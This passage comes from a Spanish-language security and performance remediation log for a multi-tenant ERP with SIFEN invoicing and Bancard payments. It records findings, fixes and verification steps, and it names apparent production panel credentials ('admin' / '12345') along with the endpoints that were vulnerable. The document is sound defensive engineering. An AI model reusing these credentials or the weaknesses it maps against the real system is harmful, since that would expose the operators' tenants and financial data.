- **Fix:** actualizar a la última `xlsx` (o migrar a la build oficial `@sheetjs/xlsx` desde su CDN, ya que la de
  npm quedó desactualizada). Revisar breaking changes. Para importación, además validar tamaño/estructura antes
  de parsear.
- **Verificación:** `npm audit` / `pnpm audit` sin el CVE; import de archivo malformado no cuelga el proceso.

### P2.3 — Queries sin límite → DoS de una request `[x]` ✅ HECHO (2026-08-04)

> **Hecho:**
> - `presupuestos`: `QueryPresupuestosDto.limit` ahora tiene `@Max(100)`.
> - `reportes-rentabilidad`: verificado que `resolveLimit` ya **capa en 500** (`Math.min(500, ...)`) → no es
>   ilimitado; se deja como está.
> - `reportes-proveedor`: `deposito_id` ya parametrizado (P1.2); queries acotadas por proveedor + rango.
>
> **Rango de fechas (HECHO 2026-08-04):** nuevo helper `src/common/utils/fecha-rango.util.ts` →
> `assertRangoFechas(desde?, hasta?, maxDias=366)` (rechaza fechas inválidas, `desde>hasta`, o rango > ~1 año).
> Aplicado en `reportes-rentabilidad.service.fetchDetalles` (choke point de los 3 reportes) y en los endpoints con
> fechas de usuario de `reportes-proveedor.controller` (`vencidos`, `marcas-compradas`, `ventas-por-marca`). Se
> evitó tocar el `vencidos` interno (se reusa con `desde:'1900-01-01'` a propósito). `tsc`+`eslint` limpios.
>
> **Gateway Marangatu (HECHO 2026-08-04 — cross-repo):**
> - **Backend** (`marangatu.gateway.ts`): `cors:'*'` → `cors:{ origin:true, credentials:true }` (ya no wildcard).
>   `handleConnection` ahora **valida el JWT** del handshake (`handshake.auth.token`, `JwtService.verifyAsync` con
>   `envs.jwtSecret`), resuelve el RUC de la empresa activa del usuario y une el socket a un **room
>   `empresa:<ruc>`**; sin token válido → `disconnect`. Los emits pasaron de `server.emit` (broadcast a todos) a
>   `server.to(room).emit`: los **snapshots** (traen `empresaRuc`) se rutean a su room y se cachean por
>   `${ruc}:${tipo}` (reenvío filtrado al conectar); los **live events** (solo traen `workflowId`) se rutean con un
>   mapa `workflowId→ruc` aprendido de los snapshots — si aún no se conoce la empresa, **no se emiten** (evita fuga
>   cross-tenant). `JwtModule.register({ secret: envs.jwtSecret })` agregado a `marangatu.module.ts`.
> - **Frontend** (`useMarangatuSocket.jsx`): el socket ahora manda `auth: { token: getAccessToken() }` en el
>   handshake.
>
> **Verificado:** backend `tsc` build = 0 + `eslint` limpio; frontend `eslint` limpio. **Pendiente de deploy
> (ambos repos, coordinado)** + probar el panel realtime end-to-end. Nota: se corrigió de paso un bug latente —
> `lastSnapshotByTipo` antes se pisaba entre empresas (keyed solo por tipo).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `presupuestos`, `reportes-rentabilidad`, `reportes-proveedor` (sin `@Max` en `limit`, sin `LIMIT`
  en rango de fechas). También el gateway Marangatu (`cors: '*'`, sin guard) broadcastea telemetría de todos los
  tenants.
- **Fix:**
  1. DTOs de query con `@Max(100)` en `limit` y validación de rango de fechas (ej. máx 1 año).
  2. Paginación obligatoria en endpoints de listado.
  3. Marangatu gateway: exigir auth en la conexión Socket.IO y filtrar telemetría por `empresa_id` del socket
     (hoy cualquier socket recibe todo — ver `plan` de integración Marangatu).
- **Verificación:** `limit=999999` → 400. Rango de 5 años → 400 o cap.

### P2.4 — DTOs sin validación real (backend) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado** (el `ValidationPipe` global ya tiene `whitelist + forbidNonWhitelisted + transform`):
> - **Asientos:** nuevo `contabilidad/dto/crear-asiento.dto.ts` con clases `LineaAsientoDto`/`CrearAsientoDto`/
>   `EditarAsientoDto` (class-validator: `@IsUUID`, `@IsDateString`, `@IsNumber`+`@Min(0)`, `@ValidateNested`+
>   `@Type`, `@ArrayMinSize(2)`). `asientos.service.ts` importa y re-exporta (no rompe imports previos);
>   `asientos.controller.editar` pasó de `@Body() body: any` a `EditarAsientoDto`.
> - **Middleware SIFEN:** nuevo `dto/enviar-evento.dto.ts` (`EnviarEventoDto`: `documentoId @IsUUID`, `motivo`
>   `@IsOptional @IsString @MaxLength(500)`, `datosCliente @IsOptional @IsObject` **sin** `@ValidateNested` para
>   preservar el passthrough dinámico a SIFEN). Reemplaza el `@Body() { ...; datosCliente?: any }`.
> - **Facturas:** nuevo `dto/anular-factura.dto.ts` → `AnularFacturaDto` (`motivo` `@IsNotEmpty @MinLength(5)` —
>   legalmente requerido para cancelación SIFEN) y `EnviarLoteMiddlewareDto` (`factura_ids` `@ArrayNotEmpty`
>   `@IsUUID each`). Aplicados a `anularFactura` y `enviarLoteMiddleware` (antes tipos inline).
> - **Nota Remisión:** `create-nota-remision.dto.ts` → nueva clase `AplicacionRemisionDto`
>   (`factura_det_id @IsUUID`, `cantidad @IsNumber @Min(0)`) con `@ValidateNested`+`@Type` en `aplicaciones[]`
>   (antes `@IsArray` sin validar los objetos, y esos valores alimentan un UPDATE de `factura_det`).
>
> **No convertido a propósito:** `CreateMiddlewareSifenDto = Record<string,unknown>` no se usa como `@Body()` de
> ningún controller (solo tipo interno del service) → convertirlo no agrega validación de boundary.
>
> **Verificado:** `tsc` limpio; `eslint` sin errores nuevos (el `esAdmin` unused en asientos.service es
> preexistente). **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:**
  - `middleware-sifen/dto/create-middleware-sifen.dto.ts:1` → `= Record<string, unknown>` (type alias, el
    `ValidationPipe` no valida nada). Idem `middleware-sifen.controller.ts:42` (`datosCliente?: any`).
  - `contabilidad/controllers/asientos.controller.ts:57,63` → `CrearAsientoDto` es un `interface` (sin
    class-validator); `editar()` tipa el body como `any`.
  - `facturas.controller.ts:417,441-451` → `enviarLoteMiddleware`/`anularFactura` con tipos inline; `motivo`
    (legalmente requerido para anulación SIFEN) puede ir vacío.
  - `nota-remision/dto/create-nota-remision.dto.ts:255-258` → `aplicaciones[]` sin `@ValidateNested`;
    `factura_det_id`/`cantidad` (usados en un `UPDATE factura_det` crudo) nunca se validan.
- **Fix:** convertir a **clases** con decoradores `class-validator` (`@IsUUID`, `@IsNotEmpty`, `@Min`,
  `@ValidateNested` + `@Type`). Asegurar `ValidationPipe({ whitelist: true, forbidNonWhitelisted: true })` global.
- **Verificación:** POST con body inválido → 400 con mensaje claro.

### P2.5 — `postMessage` sin validar origin (frontend) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado (repo `novasispy-erp`):**
> - `BancardPagoModal.jsx` `handleMessage`: ignora mensajes cuyo `event.origin !== window.location.origin`
>   (la return_url de Bancard redirige a nuestra propia página, que postea al parent en el mismo dominio) → corta
>   el spoofing de `bancardStatus:"success"` desde otro origen.
> - `PagoPublico.jsx`: los 3 `postMessage` a parent/opener ahora usan `window.location.origin` como targetOrigin
>   en vez de `"*"`.
>
> El backend igual re-verifica el pago (P0.2), así que esto es defensa contra UI-spoofing (MEDIUM).
>
> **Verificado:** `eslint` sin errores nuevos (los prop-types de `BancardPagoModal` son preexistentes).
> **Pendiente de deploy (frontend).**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `src/components/bancard/BancardPagoModal.jsx:151` (acepta `bancardStatus:"success"` sin chequear
  `event.origin`), `src/pages/PagoPublico.jsx:82,89,95` (postea a `"*"`).
- **Fix:** allow-list de origin del dominio de Bancard en el `handleMessage`; en `PagoPublico`, scopear el
  `targetOrigin` en vez de `"*"`. (El backend debe re-verificar el pago igual — esto es UI-spoofing, MEDIUM.)
- **Verificación:** mensaje forjado desde otro origin → ignorado.

---

## FASE P3 — Integridad de datos / Arquitectura / Calidad

### P3.1 — Factura: fallo post-commit crea documento legal duplicado `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** en `facturas.service.ts` `create`, los side-effects **post-commit** (chequeo `empresaUsaSifen`,
> `aprobarFacturaSinSifen`/`enqueueSifenFactura`, y `auditService.log`) se movieron a su **propio try/catch** que
> loguea con `this.logger.error` y **no relanza**. Antes, un throw en esos pasos caía en el catch genérico → 500,
> pese a que la factura ya estaba commiteada con CDC/numeración → el retry del cliente generaba una **segunda
> factura legal**. Ahora el endpoint responde 201 con la factura creada; si falló el envío a SIFEN se puede
> reenviar desde el listado (queda pendiente, no duplicada). `envioLoteMiddleware` se declaró afuera con default
> `true` para el `envio_automatico` de la respuesta.
>
> **Follow-up (frontend, no bloqueante):** idempotencia por request-key para que el retro del cliente no reintente
> a ciegas (mitigación adicional; el fix de backend ya evita el duplicado por 500 post-commit).
>
> **Verificado:** `tsc` limpio; `eslint` sin errores nuevos (baseline 5 = 5). **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivo:** `src/facturas/facturas.service.ts:1502-1554`.
- **Problema:** la `$transaction` (499-1498) commitea factura + CDC + numeración + stock correctamente. El código
  **después** del commit (check de sync SIFEN, enqueue, audit) está sin try/catch aislado; si tira error, el
  catch genérico (:1554) devuelve 500 aunque la factura ya se persistió → el retry del cliente crea una
  **segunda factura con nuevo CDC/numeración** para la misma venta.
- **Fix:** aislar los side-effects post-commit en su propio try/catch que **nunca** reporte fallo de creación
  (loguear y seguir). El endpoint debe responder 201 con la factura ya creada. En el frontend, idealmente
  idempotencia (key de request) para que el retry no genere otra.
- **Verificación:** forzar throw en el enqueue post-commit → la factura queda creada una sola vez, respuesta OK.

### P3.2 — N+1 dentro de transacciones (extiende hold de locks) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado (todo correctness-preserving):**
> - **`facturas.service.ts` (hot path, ~860-960):** el stock de los productos con inventario se **precarga con un
>   solo `findMany`** (`producto_id in ...` + depósito) antes de los loops de validación y descuento (antes:
>   `stock_deposito.findUnique` por ítem en AMBOS loops). El loop de descuento **actualiza el map tras cada upsert**
>   → preserva read-your-writes ante productos repetidos en distintas líneas. `productosMap` ya venía batcheado.
> - **`nota-remision.service.ts` create (~285-333):** los `factura_det` de las aplicaciones se precargan con un
>   `findMany`; el disponible se valida con el map + un acumulador en memoria (equivalente a re-leer dentro de la
>   misma tx).
> - **`nota-remision.service.ts` anular (~641-652):** las aplicaciones se traen con un solo `findMany` con `in`, y
>   los decrementos se **agregan por `factura_det_id`** → 1 UPDATE por factura_det (equivalente con `GREATEST(0,)`
>   porque solo hay decrementos), en vez de N findMany + M UPDATE.
>
> **Verificado:** `tsc` build = 0; `eslint` sin errores nuevos. **Recomendado antes de deploy:** smoke test de
> creación de factura con ítems repetidos del mismo producto y de creación/anulación de remisión con aplicaciones
> (la lógica es equivalente, pero es path fiscal — conviene medir antes/después como sugería el hallazgo).
>
> _Descripción original del hallazgo abajo (para referencia)._
- **Archivos:** `facturas.service.ts:858-954` (findUnique+upsert+create por línea mientras tiene el lock
  `FOR UPDATE` de numeración), `nota-remision.service.ts:285-333` (create) y `:621-632` (anular) — hasta 60+
  round-trips secuenciales por documento dentro de una transacción.
- **Fix:** batch con `findMany`/`createMany`/`Promise.all` fuera del tramo crítico del lock. Precargar productos
  con un solo `findMany({ id: { in } })`.
- **Verificación:** medir tiempo de creación de factura con 30 líneas antes/después; menor contención concurrente.

### P3.3 — Credenciales hardcodeadas + logueo de datos sensibles `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:**
> - `middleware-sifen.service.ts` `loginPanel`: `USER_PANEL`/`PASS_PANEL` ya **no** están hardcodeadas —se leen de
>   `PANEL_SIFEN_USER`/`PANEL_SIFEN_PASS` (configService); si faltan, lanza error claro. Removidos los
>   `console.log` de `loginUrl` y de `{ encryptedUsername, encryptedPass }` (fuga de credenciales).
> - Payloads SIFEN: `console.log('payloadEvent', ...)` (:379) y `console.log('sendDocumentToMiddlewareSifen',
>   document)` (:440) → `logger.debug` **sin** el payload (contenían RUC/datos de cliente).
> - `store-public.service.ts:1295`: `console.log('Login SIFEN:', loginData)` (incluía el token) → `logger.debug`
>   que solo indica si hubo token.
> - `facturas.service.ts`: `console.log(createFacturaAutoDto)` (:80) → `logger.debug` con solo la empresa; los
>   `console.log(error)` de los catch → `logger.error`; el `.catch(() => undefined)` de la notificación ecommerce
>   ahora **loguea** el error.
> - `.env.example`: documentadas `PANEL_SIFEN_USER` / `PANEL_SIFEN_PASS`.
>
> ⚠️ **Deploy:** setear `PANEL_SIFEN_USER`/`PANEL_SIFEN_PASS` en el `.env` de prod (valores actuales: `admin` /
> `12345`) o `loginPanel` fallará.
>
> **Nota:** quedan otros `console.*` no sensibles en `middleware-sifen.service.ts`; los específicamente peligrosos
> (credenciales, tokens, RUC, DTO completo) fueron removidos. **Verificado:** `tsc` limpio; `eslint` sin errores
> nuevos. **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `middleware-sifen.service.ts:646-652` (`USER_PANEL='admin'`/`PASS_PANEL='12345'` hardcodeados +
  `console.log` de credenciales "cifradas" con clave estática reversible), `:379/:440` (log de payloads SIFEN
  completos con RUC/datos de cliente), `store-public.service.ts:1295` (log de login SIFEN con posibles tokens),
  `facturas.service.ts:80` (`console.log` del `createFacturaAutoDto` completo en cada factura automática).
- **Fix:**
  1. Mover credenciales a `.env` (nunca en código). Cifrado con clave de entorno, no estática.
  2. Reemplazar `console.log` por `Logger` de NestJS con niveles y **sin** datos sensibles (enmascarar
     RUC/tokens/credenciales).
  3. `facturas.service.ts:1486`: el `.catch(() => undefined)` que traga el error de notificación ecommerce debe
     al menos loguear.
- **Verificación:** grep de `console.log`/`console.error` en `src/` → 0 en paths con datos sensibles. Sin
  credenciales en el repo.

### P3.4 — Controllers que inyectan `PrismaService` directo (saltan capa de servicio) `[ ]`
- **Archivos:** `cartera/webhooks/webhook.controller.ts:60/83/101`, `tesoreria/tes.controller.ts:380/386`,
  `ai-dashboard/*`, `cobranzas/*`, `bancard/pago-publico.controller.ts`.
- **Problema:** lógica de negocio y acceso a datos en el controller → difícil de testear, reusar y auditar
  (además, varios de los IDOR/inyección de arriba viven justo acá).
- **Fix:** mover la lógica al service correspondiente; el controller solo orquesta request/response.
- **Prioridad:** hacerlo *junto* con los fixes de seguridad de esos mismos archivos (P0.2, P1.4), no como refactor
  aislado.

### P3.5 — `sifen-payload.service.ts:299-317` (`buildBatchPayload`) drop silencioso `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** `buildBatchPayload` ya no descarta facturas en silencio. Ahora usa `Logger` (no `console.error`),
> acumula `fallidas[]`, loguea un `warn` con el resumen de excluidas, **lanza `BadRequestException` si TODAS
> fallan** (no envía un lote vacío en silencio) y devuelve `facturas_excluidas` en el payload para trazabilidad.
> **Nota:** el N+1 (`buildFacturaPayload` por factura) queda como follow-up de performance — el método hoy no
> tiene callers en `src/` (latente); la corrección clave era el drop silencioso. `tsc`+`eslint` limpios.
>
> _Descripción original del hallazgo abajo (para referencia)._
- **Problema:** N+1 (`findFirst` por factura en vez de `findMany({ id: { in } })`) y, ante error,
  `console.error` + **descarta silenciosamente** la factura del lote SIFEN → una factura puede quedar excluida
  del envío indefinidamente sin alerta.
- **Fix:** un `findMany` batch; ante error, loguear con `Logger` **y** marcar/alertar (no drop silencioso).
- **Verificación:** con una factura que falle en el build, el lote reporta el fallo explícitamente.

### P3.6 — Limpieza `[x]` ✅ HECHO (2026-08-04)
- ✅ Borrado `src/nota-remision/controller_post_remision_form.php` (PHP legacy: usaba `$_SESSION`/`$_POST`/
  `include('../../connection/...')`, rutas inexistentes en este proyecto NestJS; sin referencias TS). `git rm`.
- ✅ Consolidación de exports en el helper compartido `_standards/xlsxSafe.js` — hecho en P2.1.

---

## FASE P4 — Performance Frontend (skill `vercel-react-best-practices`)

> **Lo que ya está bien:** rutas 100% `React.lazy` (`routes.jsx`); queries TanStack en paralelo (POSAdmin
> 199-262); `Ecommerce` ya usa `Promise.all` (1020, 5138); `totales`/`pagoInfo`/`vuelto` memoizados (POSRetail
> 904, 2166, 2297); **cero** componentes definidos dentro de otros (sin bug de remount). No hay loops O(n²)
> `map`+`find`.

### P4.1 — Bundle: `xlsx` y `recharts` cargan en el paint inicial (MAYOR ROI) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado (repo `novasispy-erp`, `vite.config.js` `manualChunks`):**
> - `xlsx` → chunk propio `xlsx` (no consume React, seguro separarlo). Sale del `vendor` eager.
> - `recharts` + `d3-*` + `victory-vendor` → `return undefined` (consumen React; no se fuerzan a un vendor eager
>   que rompería el init-order). Rollup los ubica en los chunks **lazy** de dashboard que los importan.
>
> **Medido (`vite build`):** `vendor` bajó de **6,180KB → 5,356KB** (gzip 1,732 → 1,519KB); `xlsx` quedó como
> chunk on-demand de **331KB** (gzip 108KB) que **ya no** se descarga en el paint inicial / Login; recharts se
> distribuyó a `Dashboard-*.js`/`AIDashboard-*.js` (lazy). Build sin error de init-order.
>
> **Follow-up opcional:** `const XLSX = await import("xlsx")` dentro de cada handler de export para diferir la
> carga incluso dentro de una ruta (hoy `xlsx` carga al entrar a la ruta lazy que lo importa, no en el primer
> paint — que era el objetivo del hallazgo).
>
> _Descripción original del hallazgo abajo (para referencia)._
- **Archivos:** `xlsx` importado **estáticamente en 33 archivos** (`import * as XLSX from "xlsx"`, incl.
  `FacturasTab.jsx:2` y todos los reportes/tesorería/RRHH/cobranzas). `recharts` en 5 archivos.
  `vite.config` `manualChunks` (107-121) mete todo lo que no es react/pdf en un único chunk `vendor`.
- **Problema:** `xlsx` (~400KB+) y `recharts` terminan en el chunk `vendor` que se carga en el **primer paint
  para todos** — incluso en el Login — aunque el 90% de las sesiones nunca exportan Excel ni abren un dashboard.
  TTI lento por payload JS inicial grande.
- **Fix:**
  1. **Dynamic import** en cada handler de export: `const XLSX = await import("xlsx")` (ej. `FacturasTab`
     `handleExportExcel:681`, y los reportes que hicimos esta sesión). Rollup lo separa en un chunk on-demand.
  2. Dynamic-import de los componentes de `recharts` (o darle su propio `manualChunk` detrás de las rutas lazy
     de dashboard).
  3. En `vite.config`: pelar `xlsx`/`recharts` del `vendor` monolítico (el comentario dice que dividir causó
     crashes de init-order, pero xlsx/recharts **no** consumen React → es seguro separarlos).
- **Verificación:** `pnpm build` → confirmar que xlsx/recharts salen en chunks aparte; que el chunk inicial baja
  de tamaño; Login no descarga xlsx.

### P4.2 — POS: inputs controlados por-tecla re-renderizan la grilla completa `[ ]` (pendiente — refactor dedicado)

> **Estado:** NO aplicado. Requiere extraer `memo(ProductTile)` y `memo(CartItemRow)` del componente único de
> 6.556 líneas (`POSRetailTemplate.jsx`) con props primitivas, más precomputar `getProductColor` en un `Map`. Es
> la pantalla crítica de ventas → riesgo real de regresión; conviene hacerlo aislado y con testeo manual del POS
> (búsqueda, lector, carrito, cobro). Se dejó fuera de esta tanda a propósito para no tocar el POS a ciegas.
>
> _Descripción original abajo._
- **Archivo:** `src/components/templates/POSRetailTemplate.jsx` (componente único de 6.556 líneas).
- **Problema:** `searchQuery` (effect 970) y `clienteSearch` (effect 1000) son state controlado que se actualiza
  en **cada tecla** → re-render de todo el árbol, incluida la grilla `productos.map` (2878, ~50-200 `ProductTile`)
  y el carrito, ninguno extraído a `memo`. **Tipeo con lag** en la búsqueda/lector del POS con la grilla en pantalla.
- **Fix:** extraer `memo(ProductTile)` y `memo(CartItemRow)` con props primitivas → la grilla no re-renderiza
  cuando solo cambia `searchQuery`.
- **Relacionado:** `getProductColor` (151-157) hace un hash `reduce` por-char por tile en cada render →
  precomputar un `Map productId→color`.

### P4.3 — `config` reconstruido cada render rompe el bailout de hijos `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** `POSAdminTemplate.jsx:262` y `POSRetailTemplate.jsx:458` → `config` ahora está en `useMemo`
> (`[posConfig]` y `[cachedPosConfigData, posConfig]` resp.), preservando identidad estable entre renders → los
> hijos que lo reciben como prop pueden volver a memoizar. `eslint` sin errores nuevos.
>
> _Descripción original abajo._
- **Archivos:** `POSAdminTemplate.jsx:262`, `POSRetailTemplate.jsx:458`.
- **Problema:** `config = { ...DEFAULT_CONFIG, ...posConfig }` (y spread de `cachedPosConfigData`) tiene identidad
  nueva cada render y se pasa a hijos (`ProductsGrid $tileSize={config...}:2867`) → anula su memoización.
- **Fix:** `useMemo(() => ({ ...DEFAULT_CONFIG, ...posConfig }), [posConfig, cachedPosConfigData])`.

### P4.4 — POS caja bootstrap es un waterfall `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** `POSAdminTemplate.jsx:466-484` → `getCajasDisponibles()` y `getSesionActiva()` ahora corren con
> `Promise.all` (eran 2 round-trips en serie en el mount del POS).
>
> _Descripción original abajo._
- **Archivo:** `POSAdminTemplate.jsx:466-484`.
- **Problema:** `await getCajasDisponibles()` y luego `await getSesionActiva()` en serie, siendo independientes
  → 2 round-trips seriales en el mount del POS. (Es el único waterfall claro; el resto ya está en paralelo.)
- **Fix:** `const [cajas, sesion] = await Promise.all([getCajasDisponibles(), getSesionActiva()])`.

### P4.5 — `FacturasTab` recomputa filtros/KPIs en cada render `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** `FacturasTab.jsx` → `esReenviable` estabilizado con `useCallback`; nuevo `reenviables` +
> `cantReenviables` en `useMemo([facturas, esReenviable])`. Los 3 `facturas.filter(esReenviable).length` del JSX y
> el del handler `handleSelectAll` ahora usan el valor memoizado (antes se recalculaba hasta 4× por render, ej. en
> cada toggle de checkbox). `eslint` sin errores nuevos.
>
> _Descripción original abajo._
- **Archivo:** `src/components/ventas/FacturasTab.jsx`.
- **Problema:** `facturas.filter(esReenviable)` se computa **4×** (494, 1052, 1277, 1282) + el array de KPIs
  (1015) + el objeto `resumen` (626) en cada render (ej. cada toggle de checkbox re-escanea la página). O(n) chico,
  pero evitable.
- **Fix:** un `useMemo` para `reenviables` y derivar los conteos de ahí.

**Top 3 a atacar (mayor impacto):** P4.1 (dynamic import xlsx — bundle), P4.2 (memo de tiles/carrito POS),
P4.4 (Promise.all del bootstrap de caja).

---

## Resumen de priorización

| Fase | Ítems | Riesgo | Deploy |
|------|-------|--------|--------|
| **P0** | Users sin guard · Bancard mock/webhook · Tx contables falsas · Bull Board OTP | Dinero, cuentas, libros | Backend (urgente) |
| **P1** | IDOR docs · SQLi proveedor · Chat IA aislamiento · SSRF cartera · Brute-force · XSS impresión | Fuga cross-tenant, robo JWT | Back + Front |
| **P2** | Formula injection exports · xlsx CVE · Queries sin límite · DTOs sin validar · postMessage | DoS, exfil condicionada | Back + Front |
| **P3** | Factura post-commit · N+1 en tx · Credenciales/logs · Controllers→service · Drop silencioso SIFEN · Limpieza | Integridad, mantenibilidad | Backend |
| **P4** | Bundle xlsx/recharts eager · re-render POS por tecla · config sin memo · waterfall caja · FacturasTab filtros | UX/latencia (TTI, tipeo POS) | Front |

### Lo que ya está bien (no tocar)
- Guards de dos capas en controllers core (compras, tesorería, contabilidad, RRHH, presupuestos), scope por
  `empresa_id` del JWT.
- `switchEmpresa` re-verifica acceso antes de emitir tokens.
- Webhook de **novasis-pay**: HMAC-SHA256 + `timingSafeEqual` + replay window + idempotencia (usar como
  referencia para Bancard).
- bcrypt(10); JWT re-chequea `active`/`estado` en cada request; API keys de cartera hasheadas SHA-256; `.env`
  gitignoreado; sin secrets en el bundle frontend; multer memory storage (sin path traversal); numeración/CDC
  con `SELECT ... FOR UPDATE` (sin race de duplicados); `AsientosService` con validación de partida doble.

---

_Generado a partir de auditoría con skills el 2026-08-03. Verificar cada ítem contra el código antes de
corregir — la auditoría es automatizada y algún finding puede requerir ajuste de contexto._